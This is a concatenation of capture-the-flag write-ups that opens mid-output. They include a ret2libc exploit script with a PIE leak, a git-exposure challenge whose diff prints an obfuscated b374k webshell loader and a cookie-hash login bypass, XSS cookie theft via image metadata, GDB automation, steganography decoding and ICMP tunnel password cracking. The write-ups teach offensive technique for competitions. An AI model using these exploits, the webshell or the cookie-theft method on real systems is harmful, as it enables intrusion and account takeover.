> f3 a b c d e f g h 1 1 0 0 0 0 1 1 1 2 1 0 0 0 0 1 1 1 3 0 1 1 1 0 0 0 0 4 0 0 0 0 0 0 0 0 5 1 0 0 1 0 1 0 1 6 0 0 1 1 0 1 0 0 7 0 1 0 1 1 0 0 0 8 0 0 0 0 0 1 1 0
> d5 a b c d e f g h 1 1 0 0 1 0 1 1 1 2 1 0 0 1 0 1 1 1 3 0 1 1 0 0 0 0 0 4 0 0 0 1 0 0 0 0 5 0 1 1 0 1 0 1 0 6 0 0 1 0 0 1 0 0 7 0 1 0 0 1 0 0 0 8 0 0 0 1 0 1 1 0
> e1 a b c d e f g h 1 0 1 1 0 1 0 0 0 2 1 0 0 1 1 1 1 1 3 0 1 1 0 1 0 0 0 4 0 0 0 1 1 0 0 0 5 0 1 1 0 0 0 1 0 6 0 0 1 0 1 1 0 0 7 0 1 0 0 0 0 0 0 8 0 0 0 1 1 1 1 0
> e2 a b c d e f g h 1 0 1 1 0 0 0 0 0 2 0 1 1 0 0 0 0 0 3 0 1 1 0 0 0 0 0 4 0 0 0 1 0 0 0 0 5 0 1 1 0 1 0 1 0 6 0 0 1 0 0 1 0 0 7 0 1 0 0 1 0 0 0 8 0 0 0 1 0 1 1 0
> b6 a b c d e f g h 1 0 0 1 0 0 0 0 0 2 0 0 1 0 0 0 0 0 3 0 0 1 0 0 0 0 0 4 0 1 0 1 0 0 0 0 5 0 0 1 0 1 0 1 0 6 1 1 0 1 1 0 1 1 7 0 0 0 0 1 0 0 0 8 0 1 0 1 0 1 1 0
> f6 a b c d e f g h 1 0 0 1 0 0 1 0 0 2 0 0 1 0 0 1 0 0 3 0 0 1 0 0 1 0 0 4 0 1 0 1 0 1 0 0 5 0 0 1 0 1 1 1 0 6 0 0 1 0 0 1 0 0 7 0 0 0 0 1 1 0 0 8 0 1 0 1 0 0 1 0
> f4 a b c d e f g h 1 0 0 1 0 0 0 0 0 2 0 0 1 0 0 0 0 0 3 0 0 1 0 0 0 0 0 4 1 0 1 0 1 0 1 1 5 0 0 1 0 1 0 1 0 6 0 0 1 0 0 0 0 0 7 0 0 0 0 1 0 0 0 8 0 1 0 1 0 1 1 0
> e4 a b c d e f g h 1 0 0 1 0 1 0 0 0 2 0 0 1 0 1 0 0 0 3 0 0 1 0 1 0 0 0 4 0 1 0 1 0 1 0 0 5 0 0 1 0 0 0 1 0 6 0 0 1 0 1 0 0 0 7 0 0 0 0 0 0 0 0 8 0 1 0 1 1 1 1 0
> e8 a b c d e f g h 1 0 0 1 0 0 0 0 0 2 0 0 1 0 0 0 0 0 3 0 0 1 0 0 0 0 0 4 0 1 0 1 1 1 0 0 5 0 0 1 0 1 0 1 0 6 0 0 1 0 0 0 0 0 7 0 0 0 0 1 0 0 0 8 1 0 1 0 0 0 0 1
> c7 a b c d e f g h 1 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 4 0 1 1 1 1 1 0 0 5 0 0 0 0 1 0 1 0 6 0 0 0 0 0 0 0 0 7 1 1 1 1 0 1 1 1 8 1 0 0 0 0 0 0 1
> e7 a b c d e f g h 1 0 0 0 0 1 0 0 0 2 0 0 0 0 1 0 0 0 3 0 0 0 0 1 0 0 0 4 0 1 1 1 0 1 0 0 5 0 0 0 0 0 0 1 0 6 0 0 0 0 1 0 0 0 7 0 0 0 0 1 0 0 0 8 1 0 0 0 1 0 0 1
> e5 a b c d e f g h 1 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 4 0 1 1 1 1 1 0 0 5 1 1 1 1 1 1 0 1 6 0 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 0 8 1 0 0 0 0 0 0 1
> a4 a b c d e f g h 1 1 0 0 0 0 0 0 0 2 1 0 0 0 0 0 0 0 3 1 0 0 0 0 0 0 0 4 1 0 0 0 0 0 1 1 5 0 1 1 1 1 1 0 1 6 1 0 0 0 0 0 0 0 7 1 0 0 0 0 0 0 0 8 0 0 0 0 0 0 0 1
> g5 a b c d e f g h 1 1 0 0 0 0 0 1 0 2 1 0 0 0 0 0 1 0 3 1 0 0 0 0 0 1 0 4 1 0 0 0 0 0 0 1 5 1 0 0 0 0 0 1 0 6 1 0 0 0 0 0 1 0 7 1 0 0 0 0 0 1 0 8 0 0 0 0 0 0 1 1
> g4 a b c d e f g h 1 1 0 0 0 0 0 0 0 2 1 0 0 0 0 0 0 0 3 1 0 0 0 0 0 0 0 4 0 1 1 1 1 1 1 0 5 1 0 0 0 0 0 0 0 6 1 0 0 0 0 0 0 0 7 1 0 0 0 0 0 0 0 8 0 0 0 0 0 0 0 1
> h4 a b c d e f g h 1 1 0 0 0 0 0 0 1 2 1 0 0 0 0 0 0 1 3 1 0 0 0 0 0 0 1 4 1 0 0 0 0 0 0 1 5 1 0 0 0 0 0 0 1 6 1 0 0 0 0 0 0 1 7 1 0 0 0 0 0 0 1 8 0 0 0 0 0 0 0 0
> a8 a b c d e f g h 1 0 0 0 0 0 0 0 1 2 0 0 0 0 0 0 0 1 3 0 0 0 0 0 0 0 1 4 0 0 0 0 0 0 0 1 5 0 0 0 0 0 0 0 1 6 0 0 0 0 0 0 0 1 7 0 0 0 0 0 0 0 1 8 1 1 1 1 1 1 1 1
> h8 a b c d e f g h 1 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 0 8 0 0 0 0 0 0 0 0You made it in 24 moves and 46.168 seconds! Here is your reward: BCTF{cl0ck_is_tick1ng_but_we_are_fasterrr}``` |
# Mindgames 2*This time I hardened my mind even better. No way you are gonna win this one!*
`nc pwn.institute 41337`
If you didn't know, the library used in the solution code here is [`pwnscripts`](https://github.com/152334H/pwnscripts)
## DifferencesThere's essentially only 1 difference between mindgames 1336 & 1337:```python Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```PIE is enabled! Ain't that grand.
If you scroll up a little bit to my previous challenge's writeup, you'll realise that my previous exploit only works if PIE is disabled. To finish the challenge here, we'll need to find a different way to leak libc.
In the previous challenge, I noted that we didn't use this function in our exploit:```cint show_highscore() { return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);}```Here, it becomes important. In `set_new_highscore()`, `memcpy()` copies our input to the aptly-titled `overflow[]`:```cset_new_highscore() { ssize_t n; // ST08_8 char buf[0x110]; // [rsp+10h] [rbp-110h]
printf("Give me your name: "); selected_name = &overflow; n = read(0, buf, 0x400); memcpy(&overflow, buf, n); // <----- focus on this}```This will naturally cause an *overflow* into a number of other variables:```idaLOAD:0000000000004018 off_4018 dq offset localtime ; DATA XREF: _localtime↑rLOAD:0000000000004020 off_4020 dq offset puts ; DATA XREF: _puts↑rLOAD:0000000000004028 off_4028 dq offset __stack_chk_failLOAD:0000000000004028 ; DATA XREF: ___stack_chk_fail↑rLOAD:0000000000004030 off_4030 dq offset printf ; DATA XREF: _printf↑rLOAD:0000000000004038 off_4038 dq offset alarm ; DATA XREF: _alarm↑rLOAD:0000000000004040 off_4040 dq offset read ; DATA XREF: _read↑r...LOAD:00000000000040C0 ; char overflow[32]LOAD:00000000000040C0 overflow db 20h dup(0) ; DATA XREF: set_new_highscore+2B↑oLOAD:00000000000040E0 highscore dd 1 ; DATA XREF: srand_init+CC↑wLOAD:00000000000040E4 align 8LOAD:00000000000040E8 selected_name dq 0 ; DATA XREF: srand_init+B2↑wLOAD:00000000000040F0 align 20hLOAD:0000000000004100 NAMEARRAY dq offset ...```We can overwrite `selected_name` with this smaller overflow. The trick here is to realise that the original value of `selected_name` (`&overflow == PIE+0x40c0`) only differs from the location of the GOT table by it's least-significant-byte. Or to put it a little bit more meaningfully: if we overflow *just one byte* of `selected_name` to, e.g. `0x30`, we can leak the value of the GOT function at `overflow-0xc0+0x30` (which is `printf`).
Everything after that is really just a simple exercise in implementation. We start with a few re-definitions from the previous code to match the new exploit:```pythoncontext.binary = 'mindgames_1337'context.binary.symbols = {'overflow': 0x40c0, 'selected_name': 0x40e8}context.binary.got = {'puts':0x4020}context.libc_database = 'libc-database'context.libc = 'libc6_2.28-10_amd64'# from prev chaldef read_400(payload, minwins=0): # Helper function to do the set_new_highscore() overflow of 0x400 bytes p.sendlineafter('> ', '2') for i in range(minwins): p.sendlineafter('>' if i else '> ', str(C.rand())) p.sendlineafter('>' if minwins else '> ', '0') p.recvuntil('Amazing!\n') p.sendafter('name: ', payload)```Then, we leak a single libc address. We only need one address because we already know the libc id from the previous challenge.```pythonpayload = b'\0'*(context.binary.symbols['selected_name']-context.binary.symbols['overflow'])payload+= pack(context.binary.got['puts'])[:1] # Overwrite the last byte, so PIE.overflow -> PIE.putsread_400(payload, nextrand)p.sendlineafter('> ', str(1))p.recvuntil('\t by \t ')context.libc.calc_base('puts', extract_first_bytes(p.recvline(),6))```Finally, do a return-to-libc-system again:```pythonr = ROP(context.libc)r.raw(b'\0'*0x118)r.system(context.libc.symbols['str_bin_sh'])read_400(r.chain())p.interactive()```It hardly ever changes.```python[*] Switching to interactive mode$ lsflagmindgames$ cat flagBCTF{and_n0w_y0u_ate_my_PIE?}$``` |
1. Find the shit ton of weird looking files (``mercury/.hg/store/data/``)
2. Observe that all of them occupy 66 bytes except one
3. Open the outlyer and extract the flag
 |
i extract the audio using ffmpeg```ffmpeg -i Spectre.mp4 -codec:a libmp3lame -qscale:a 2 sample.mp3```and i open it using sonic visualizer
and i add spectogram layer
and change a few things a little bit, and this is what i got
> Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
[my blog](http://medium.com/@InersIn) |
# DarkCTF 2020
## rev/c_maths
> 44 solves / 465 points>> Author: p3t4j0n>> Description: Clearly u know some C programming and a bit of maths right...? Note: Enclose the flag within darkCTF{} There are 3 parts to the flag.>> `nc cmaths.darkarmy.xyz 7001`> > [c_maths](c_maths)
Tags: _rev_ _x86-64_ _strcmp_
## Summary
Classic _compare_ reverse.
This binary will prompt for three inputs. The first is the first part of the flag (string), the second is a number that if correct will emit the second part of the flag, the third and final part of the flag is just like the second--put in the right digits and get the final part of the flag.
> Credit to teammate [dobs](https://github.com/dobsonj/ctf/tree/master/writeups) for handing me the analysis--I just had to automate.
> Oh, and _no_ maths required.
## Analysis
### Decompile with Ghidra
> Only the interesting bits.
```c tVar2 = time((time_t *)0x0); srand((uint)tVar2);```
This problem changes every second. But since we all use the same clocks (UTC seconds), this is not an issue at all.
```c local_95[local_20] = '\0'; __isoc99_scanf("%[^\n]%*c",local_9c); __n = strlen(local_95); iVar1 = strncmp(local_95,local_9c,__n); if (iVar1 != 0) { exit(1); }```
The first compare. We just need to know what `local_95` is. If we highlight the `local_95[local_20] = '\0';` line, the corresponding disassembly highlights as:
```001013bf c6 84 05 MOV byte ptr [RBP + RAX*0x1 + -0x8d],0x0 73 ff ff ff 00```
Ignore that leading `001` from Ghidra, the instruction we're interested in setting a break point is at `0x13bf` and we want to read `local_95`. Remember that for later.
```c local_44 = (int)dVar4; __isoc99_scanf(&DAT_00102015,&local_cc); if (local_44 == local_cc) { system("cat small_chunk.txt");```
The second compare is an integer. Get this right and you get that sweet sweet _small chunk_.
The first line disassembly:
```00101509 f2 0f 2c c0 CVTTSD2SI EAX,XMM00010150d 89 45 c4 MOV dword ptr [RBP + local_44],EAX```
`local_44` is set by instruction `0x150d`; we'll set a breakpoint there to get the value directly from `EAX`.
```c local_50 = (int)uVar3; __isoc99_scanf(&DAT_00102015,&local_dc); time(&local_80); local_58 = (double)(local_80 - local_78); if ((local_50 != local_dc) || (5.00000000 <= local_58)) { puts("Nothing for u here"); } else { system("cat big_chunk.txt"); }```
Last compare, also integer, for the final chunk. There's a time check in here as well (5 second from start to end). Clearly the game master didn't want you manually using GDB to slog through this. No prob, we'll automate.
Disassembly:
```0010161c 89 45 b8 MOV dword ptr [RBP + local_50],EAX```
Same as before, get the integer from `EAX` after setting a breakpoint at `0x161c`.
## Solve
```#!/usr/bin/env python3
from pwn import *
binary = ELF('./c_maths')
r = remote('cmaths.darkarmy.xyz', 7001)
d = process(['gdb',binary.path])d.sendlineafter('gdb) ','b *0x555555554000+0x13bf')d.sendlineafter('gdb) ','b *0x555555554000+0x150d')d.sendlineafter('gdb) ','b *0x555555554000+0x161c')d.sendlineafter('gdb) ','r')d.sendlineafter('gdb) ','x/s $rbp-0x95+8')a1 = d.recvline().strip().split(b'"')[1]d.sendlineafter('gdb) ','c')d.sendlineafter('Continuing.\n',a1)d.sendlineafter('gdb) ','p/d $rax')a2 = d.recvline().strip().split()[-1]d.sendlineafter('gdb) ','c')d.sendlineafter('Continuing.\n',a2)d.sendlineafter('gdb) ','p/d $rax')a3 = d.recvline().strip().split()[-1]d.sendlineafter('gdb) ','c')d.sendlineafter('Continuing.\n',a3)d.sendlineafter('gdb) ','q')d.close()
log.info(b'sending: ' + a1)r.sendline(a1)for i in range(9): log.info(r.recvline())log.info(b'sending: ' + a2)r.sendline(a2)for i in range(3): log.info(r.recvline())log.info(b'sending: ' + a3)r.sendline(a3)log.info(r.recvline())```
Instead of reversing how `c_maths` works, just use GDB to get the values from the stack and registers.
From the top down, start the remote and local processes at the same time.
> There's a small probability you'll be off by a second. Just rerun. After 20 tests I had one failure.
Next, set all the break points. `0x555555554000` is the base process address for GDB x86_64 binaries (GDB is disabling PIE/ASLR), so just add that to the breakpoints.
At the first breakpoint get the string used in the string compare. `x/s $rbp-0x95+8` is that string. The `0x95` correlates to `local_95` from Ghidra--the distance from the return address. The `+8` translates the base to `rbp` (since it's 8 bytes above the return address).
At the second and third breakpoints return the value of `$rax` with `p/d` since we want a base-10 integer.
With all the answers in hand, just answer the questions and get the flag--_no maths required!_
Output:
```bash# ./sol.py[*] '/pwd/datajerk/darkctf2020/c_maths/c_maths' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to cmaths.darkarmy.xyz on port 7001: Done[+] Starting local process '/usr/bin/gdb': pid 8030[*] Stopped process '/usr/bin/gdb' (pid 8030)[*] b'sending: p1e8s3'[*] b'299\n'[*] b'3329\n'[*] b'4232\n'[*] b'2098\n'[*] b'8098\n'[*] b'8561\n'[*] b'8815\n'[*] b'154\n'[*] b'7464\n'[*] b'sending: 3331'[*] b'_just_\n'[*] b'\n'[*] b'7418\n'[*] b'sending: 2295273'[*] b'give_me_the_flag\n'```
Flag: `darkCTF{p1e8s3_just_give_me_the_flag}` |
Following the provided link, we find a page that is completely blank other than a password prompt. Given that this challenge is in the `git` category, the first thing I checked was whether I could access a `.git` directory. When I changed the url to `http://head.eko.cap.tf:30000/.git`, I was redirected to `http://head.eko.cap.tf:30000/.git/`, nice. At `http://head.eko.cap.tf:30000/.git/HEAD` I got this response:```ref: refs/heads/master```We have access to the site's source control. Next, we can use something like `gitdumper.sh` from [GitTools](https://github.com/internetwache/GitTools) to pull down the whole repository. Let's take a look at the repository's commit history with `git log`:```commit b7d095eea87d18b2a1ca4a68733d5266bbc19de4 (HEAD -> master)Author: DC <[email protected]>Date: Thu Sep 24 03:03:50 2020 +0000
Final commit
commit 26925bc713d9cfc666112c9cc62ab49c6671a03eAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:53 2020 +0000
Bad files removal
commit 179e12491a2628c71bb854514f3b05cdf7cb546dAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:21 2020 +0000
Security enhance
commit 783ec943507158f27e4921963c8a2d7bfd02999dAuthor: DC <[email protected]>Date: Thu Sep 24 03:01:38 2020 +0000
File creation
commit 5d6b2408488d0f29d687610a49cab40298a6d01bAuthor: DC <[email protected]>Date: Thu Sep 24 02:49:03 2020 +0000
First commit
commit 96575dcf9117e54d34233c1bac9bf5d4efda7103Author: DC <[email protected]>Date: Thu Sep 24 02:42:16 2020 +0000
Final commit
commit 39f280f51d37fdc3a0181a0802ae2214041faaf7Author: DC <[email protected]>Date: Thu Sep 24 02:41:57 2020 +0000
Bad files
commit 190507b3bd67dff13d168ffd0886f60e77b7d2faAuthor: DC <[email protected]>Date: Thu Sep 24 02:41:03 2020 +0000
Security enhance
commit 71693af6f6a71b39e0e10375163daafe94e4af20Author: DC <[email protected]>Date: Thu Sep 24 02:39:40 2020 +0000
File creation
commit c95c2b60fadf178c1a3ac84c6c404a308e919987Author: DC <[email protected]>Date: Thu Sep 24 02:38:45 2020 +0000
Repo init```"Security Enhance?" With `git show 179e12491a2628c71bb854514f3b05cdf7cb546d` we can take a closer look at what that commit changed:```commit 179e12491a2628c71bb854514f3b05cdf7cb546dAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:21 2020 +0000
Security enhance
diff --git a/shell.php b/shell.phpindex ebd457e..c568771 100755--- a/shell.php+++ b/shell.php@@ -6,5 +6,5 @@ https://github.com/b374k/b374k
*/-$GLOBALS['pass'] = "1e7a1d03e274e66e22bfabf2d8f4a0408970e354"; // sha1(md5(pass))-$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r ...+$GLOBALS['pass'] = file_get_contents('../secret'); // sha1(md5(pass))+$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoTuFDqz+qU/3Zvx5NWwoM+btvfzdsXnr8rfC1wLsuHz89yHvHsF3ZffhYePBl19Qt3oC/5TD9K9pWKLs+/CnxPi/wngx/65Ziw78mrydgluxHtruFPx3XFmXPk72H5y//+PYLpOSnMyWu7NmBCwAef/vXo4DhlW1CzYPGLdeuO6jQVk3dUFOtQcR2n9SWE1JtSuW91q3GEYGwG2QkK7g/ns1aWDfar ...```It looks like our passsword is probably put through md5 and then sha1 hashing then compared to `GLOBALS['pass']`, and this commit just switched from having the hash hardcoded to being in a file. The hash could still be the same one, just in a different place now. After that, it looks like there's a bit of obvuscated code, lets clean that up a bit:```php$GLOBALS['pass'] = file_get_contents('../secret'); // sha1(md5(pass))$func="create_function";$b374k=$func('$x','eval("?>".gzuncompress(base64_decode($x)));');$b374k("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoT ...```So, the rest of the code is in this very long, compressed, base 64 encoded string. Since `gitdumper.sh` only got us the `.git` folder, we need to `git checkout` a commit to get our hands on some files. I ran `git checkout master` to make sure I was on the most recent commit to the master branch then `git stash` to recover the original state of that commit.
Next, I wrote a script to extract the encoded string, decode it, and save it to a file:```python#!/usr/bin/env python3
import base64import zlib
with open("<path to repo>/index.php") as f: txt = f.read()
a = txt.find('$b374k("')b = txt.find('");?>')
if a != -1 and b != -1: a += 8 c = txt[a:b] c = base64.b64decode(c) c = zlib.decompress(c)
with open("out.php", "wb") as f: f.write(c)```
The decoded `php` script is pretty long but here's the part that deals with the password:```phpif(!function_exists('auth')){ function auth() { if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass']) != '')) { $c = $_COOKIE; $p = $_POST;
if(isset($p['pass'])) { $your_pass = sha1(md5($p['pass']));
if($your_pass==$GLOBALS['pass']) { setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c['pass']) || (isset($c['pass']) && ($c['pass'] != $GLOBALS['pass']))) { $res = " <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><center><noscript>You need to enable javascript</noscript></center> <script type='text/javascript'> var d = document; d.write(\"<form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> ";
<center><noscript>You need to enable javascript</noscript></center>
echo $res; die(); } } }}```
The `auth` function reads a password from the user, hashes it, stores that hash on the **client-side** (in a cookie), then compares that to the correct password hash. So, given the correct hash, we can create our own "pass" cookie and log in without knowing the password!
If we do that with the hardcoded hash from before the "Security Enhance" commit, we get in! From here we can access the parent directory and find a file named `flag`:```EKO{m4st3r_0f_g1t}``` |
# Tricky Bit> Category: Forensics> Description: I always hated to be that last one, At least i should be in the second least place.
# Initial analysis
This challenge provides a `lsb1.bmp` file and an `Encrypt.py` file. Opening up the bmp immediatly points us to something messing up the image data (the "noise" and the missing color pixels are usually an indication of img manipulation).
Checking the logic on the `Encrypt.py` I was able to spot the following behavior (comments added for better understanding):
```python
def run(self, stega_text): self.text_to_hide = stega_text # this is the data the code is hidding, in this scenario the flag self.open_image() # refer to the function below, nothing abnormal so far self.read_header() # refer to the function below, nothing abnormal so far self.hide_text_size() # this is the first algorithm we'll have to revert, more details on the actual function self.do_steg(self.text_to_hide) # this is the second algorithm, which will be similar to first one with some minor changes self.copy_rest() # copy the rest of the original image data self.close_file() # regular cleanup
def open_image(self): with open(ImageFile, "rb") as f: self.original_image = f.read() # read the entire file to bytearray variable
def read_header(self): for x in range(0, HEADER_SIZE): # reading the header size, which is 54 as indicated in the code and store it on memory self.new_image_data += self.original_image[x] self.image_byte_counter += 1 # increase the internal byte counter variable
```
Now for the actual interesting part:;
```python def hide_text_size(self): sz = len(self.text_to_hide) s_sz = str(sz) s_sz += DELIMITER # up to this line we will have a string with the length of the message we are hidding and terminated by the char `$` self.do_steg(s_sz) # will call the steg algorithm with this information, example: if the string to hide is `thisisit` the data calculated on this method is `8$`
def do_steg(self, steg_text):
# iterate all characters for ch in range(0, len(steg_text)):
current_char = steg_text[ch] current_char_binary = '{0:08b}'.format(ord(current_char))
# iterate all the bits from the byte representing the current character of the message to hide for bit in range(0, len(current_char_binary)): new_byte_binary = ''
# this will read the next byte from the original image data current_image_binary = '{0:08b}'.format(ord(self.original_image[self.image_byte_counter]))
new_byte_binary = current_image_binary[:7] # extract the leftmost 7 bits from that byte
new_byte_binary += current_char_binary[bit] # store the bit from the byte of the character we are hiding
# replace the new image byte with the manipulated one new_byte = chr(int(new_byte_binary, 2))
self.new_image_data += new_byte self.image_byte_counter += 1 # increment the 'consumed' byte from the original image
```
So, if you can keep up with the comments you'll figure it out that the steg algorithm is basically replacing the least significant bit from each byte and hidding data on it.
The header will be saved using this method and then immediatly after the text will also be hidden using this method:
```python # sequence of the steg algorithm self.hide_text_size() # header self.do_steg(self.text_to_hide) # actual data aka flag```
# Solve
To solve this we need to revert the algorithm and try to reverse the data for the length, to understand how much data we need to read, and then read the actual data.
```pythonc = open("lsb1.bmp","rb").read()
numbits = 0part = ''length = []
currentByte = 54 # we want to skip the header sizz N first bytes (54 as per the encryption code)
guess = 5 # 5 will most likely be too much but it's fine as I'll stop once I get enough data
# each character will waste 8 bytes to store 1 byte of data, so we need to consumer N times 8 where N is the tentative guess of the len string terminated by $for byt in range(currentByte, (currentByte + (8 * guess ))): # for debug purposes to understand the current byte being processed #print('Currently at bit {}'.format(byt)) # extract the least significant bit using the logical and with the mask 00000001 currbit = int(c[byt]) & 0b00000001 numbits = numbits + 1 # keep tabs on the number of bits part = part + str(currbit) # store the current bit on a temporary string currentByte = currentByte + 1 # keep tabs on the current byte
if numbits == 8: # if we have 8 bits we have our next byte, so we retrieved one more character length.append(chr(int(part, 2))) # store found character in array if chr(int(part, 2)) == '$': # if we find the delimiter we are done with first part break
numbits = 0 part = ''
len = int(''.join(length[:2]))print('Found length {}'.format(len))
length = []numbits = 0part = ''# we now know that we need to start at next byte from the previous cycle and we know we need 37 chars ( or in other words 8 * 37 bytes)for byt in range(currentByte, (currentByte + 8 * len)): # for debug purposes to understand the current byte being processed #print('Currently at bit {}'.format(byt))
# extract the least significant bit using the logical and with the mask 00000001 currbit = int(c[byt]) & 0b00000001 numbits = numbits + 1 # keep tabs on the number of bits part = part + str(currbit) # store the current bit on a temporary string
if numbits == 8: # if we have 8 bits we have our next byte, so we retrieved one more character length.append(chr(int(part, 2))) # store found character in array # cleanup the temporary bits holder and proceed numbits = 0 part = ''
# we finally have all the characters from the hidden message, just print itprint(''.join(length))
```
The above code has enough comments to guide the logic used, finally the result of the execution is:
```Found length 37DarkCTF{7H!5_0n3_was_4_l!ttl3_TRICKY}``` |
# Minesweeper
> Category: Misc> Description: ```I'm lucky to be surrounded by even-minded people from all around. Flag is not in the regular format.Submit flag in darkCTF{flag} format.```
# Analysis
From the provided file we have an array of arrays (matrix) and the challenge name points us to `Minesweeper` (I'm going to assume you know what this game is, if not please check this out https://www.microsoft.com/en-us/p/minesweeper-free/9wzdncrdk4km?activetab=pivot:overviewtab ).
```I'am lucky to be surrounded by even-minded people from all directions.Flag is not in the regular format.array = [[93, 91, 95,... 71], [83, 89, 73, ..., 69], ... ]```
So, it's pretty obvious this is not a coincidence, also from the description you read that 'surrounded by even-minded people', this called my attention and my initial though was that this was the 'bomb' condition.
So, I would have to find all cells that are fully surrounded by even numbers? Those then would be converte to ascii and hopefully I get something.This was the thought process, although you'd have to 'guess' the logic, it's kind of obvious in my opinion (save time, agree with me).
# Solve
I removed all text from minesweeper file and left only the `array = [` instruction, that way I can just load that to python (lazy I know, but works)
```python
with open('minesweeper', 'r') as fd: line = fd.readline() while line: exec(line) line = fd.readline()
arr = []
for x in range(len(array)): print('Processing row {}'.format(x))
if x == 0 or x == len(array) - 1: print('Skipping row {}'.format(x)) continue for y in range(len(array[x])): print('Processing column {}'.format(y))
if y == 0 or y == len(array[x]) - 1: print('Skipping cell {},{}'.format(x,y)) continue up = x - 1 down = x + 1 left = y - 1 right = y + 1
if array[up][y] % 2 == 0 and array[down][y] % 2 == 0 and array[x][left] % 2 == 0 and array[x][right] % 2 == 0 \ and array[up][left] % 2 == 0 and array[up][right] % 2 == 0 and array[down][left] % 2 == 0 and array[down][right] % 2 == 0: # surrounded by even-minded cells, I must be relevant arr.append(array[x][y])
print(arr)```
```... # several debug lines ommittedProcessing column 39Skipping cell 50,39Processing row 51Skipping row 51FLaGISYOUHaVEOBSERVaTIONaNDPaTIENCE```
From the found text the flag was `darkCTF{YOUHaVEOBSERVaTIONaNDPaTIENCE}`. |
A link was provided to `https://imgr.pwn.institute/`, a not-yet-finished image sharing social networking site.
There were two pages available, `/login` and `/register`. The login form didn't accept any silly input (`admin:password`) so I registered an account and logged in.
It seemed the homepage was empty and the only functionality offered was to upload a profile picture on the `/profile` page, and submit a link to report any bugs to the developers on the `/report` page. I checked to see the login state appeared to be saved in a JWT cookie on the browser which was **not** set to HTTP only.
From this it seemed clear the solution was going to involve sending a link to the developers using the report feature, to a page that contained a XSS attack to leak their session cookie and thus allow me to login to the service as some form of elevated user. It seemed clear the only avenue I had of achieving a XSS was uploading some form of malicious image. Taking a look at the image upload form it appeared to allow anything to be uploaded as long as it had a JPG extension. I played around with possible uploads for a while, but of course I would need to link to a page that contained the image (assuming I could get an XSS from an image...) and at the moment it wasn't clear what that page would be as the `/profile` page would of course point to *their* profile not mine...
Looking around within the HTML code of the homepage I spotted the following HTML comment `` which of course answered this question! This page allowed you to pass an `image id` in the URL which could be taken from the URL of the profile image after uploading, and appeared to output the metadata (*exif* data) of that image into the page... bingo!
I used `exiftool` to create a proof of concept JPG with a simple `hello world` value set as the image description within the metadata of the file, and sure enough after uploading the file and going to the `/imageinfo/<imageid>` endpoint, I saw a bold **hello world** in the page. With the proof of concept done the final steps were just to upload a suitable payload and submit the link to the developers.
I opted for a payload in the JPG's exif data that looked as so ``, uploaded the image as my profile picture, noted the id of the uploaded image, went to `/imageinfo/<imageid>` and I saw my request fire out to my server with my cookie! I copied the url of the page and submitted it using the report feature. A few seconds later, I saw a request come in containing the flag - no need to log in with a cookie to get it after all, the developer's cookie was the flag. |
# Toolopen **pingpong.pcap** with wireshark, we can see many icmp packets and some of it's payload start with hanc/hans, so we can google it.
> Tool Project: http://code.gerade.org/hans/> > Tool Source Code: https://github.com/friedrich/hans> > Tool Usage: ./hans -c server_address -p password
we know server_address is **pingpong.pwn.institute**, now we need get the password# Authread client.cpp and auth.cpp, it shows that hans will recieve a challenge, and will commit a challenge_response while sha1(pass+challenge) == challenge_response
``` enum Type { TYPE_RESET_CONNECTION = 1, TYPE_CONNECTION_REQUEST = 2, TYPE_CHALLENGE = 3, TYPE_CHALLENGE_RESPONSE = 4, TYPE_CONNECTION_ACCEPT = 5, TYPE_CHALLENGE_ERROR = 6, TYPE_DATA = 7, TYPE_POLL = 8, TYPE_SERVER_FULL = 9 };```
As definision in work.h, challenge is after hans\x03
68616e7303**b657e2f2f9fa56a04a0efa538451c4dd548b1b43**
And challenge_response is after hans\x04
68616e6304**1b313c515e48ec5bdcb46b4b6e7e9c33adce3e4b**
Crack it with hashcat
**hashcat -a 0 -m 110 1b313c515e48ec5bdcb46b4b6e7e9c33adce3e4b:b657e2f2f9fa56a04a0efa538451c4dd548b1b43 --hex-salt 10-million-password-list-top-100000.txt**
